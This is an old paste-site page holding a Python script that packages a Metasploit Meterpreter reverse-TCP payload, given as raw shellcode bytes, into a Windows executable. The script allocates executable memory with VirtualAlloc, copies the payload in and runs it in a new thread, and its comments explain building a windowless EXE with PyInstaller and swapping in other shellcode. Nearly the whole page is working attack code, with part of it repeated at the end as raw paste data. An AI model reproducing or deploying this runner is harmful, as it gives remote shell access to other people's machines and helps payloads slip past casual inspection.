PyInstaller Win32 shellcode runner

A GUEST FEB 19TH, 2012 2,277 NEVER


```
#!/usr/bin/python

#################################################################
# PyInstaller Win32 shellcode runner - by @mihi42
#
# Needed software:
# * Python 2.7.2 from
#   <http://www.python.org/download/releases/>
# * PyWin32 build 217 for Python 2.7 from
#   <http://sourceforge.net/projects/pywin32/files/pywin32/>
# * PyInstaller 1.5.1 from <http://www.pyinstaller.org/>
#
# Usage:
# * Install and configure the software above
# * Replace the shellcode below if desired (use output type
#   for C and change the first and last line)
# * Run PyInstaller to build an EXE file, using the switches
#   -w -a -F (and maybe more if you prefer)
#################################################################
# windows/meterpreter/reverse_tcp - 290 bytes (stage 1)
# http://www.metasploit.com
# VERBOSE=false, LHOST=127.0.0.1, LPORT=4444,
# ReverseConnectRetries=5, EXITFUNC=process,
# AutoLoadStdapi=true, InitialAutoRunScript=, AutoRunScript=,
# AutoSystemInfo=true, EnableUnicodeEncoding=true
#
shellcode = bytearray(
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a"
"\x05\x68\x7f\x00\x00\x01\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10"
```

```
"\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e"
"\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56"
"\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a"
"\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6"
"\x85\xf6\x75\xec\xc3"
)
################################################################

import ctypes

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
    ctypes.c_int(len(shellcode)),
    ctypes.c_int(0x3000),
    ctypes.c_int(0x40))

ctypes.windll.kernel32.VirtualLock(ctypes.c_int(ptr),
    ctypes.c_int(len(shellcode)))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
    buf,
    ctypes.c_int(len(shellcode)))

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_int(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),
    ctypes.c_int(-1))
```

RAW Paste Data


```
"\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56"
"\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a"
"\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6"
"\x85\xf6\x75\xec\xc3"
)
################################################################

import ctypes

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
    ctypes.c_int(len(shellcode)),
    ctypes.c_int(0x3000),
    ctypes.c_int(0x40))
```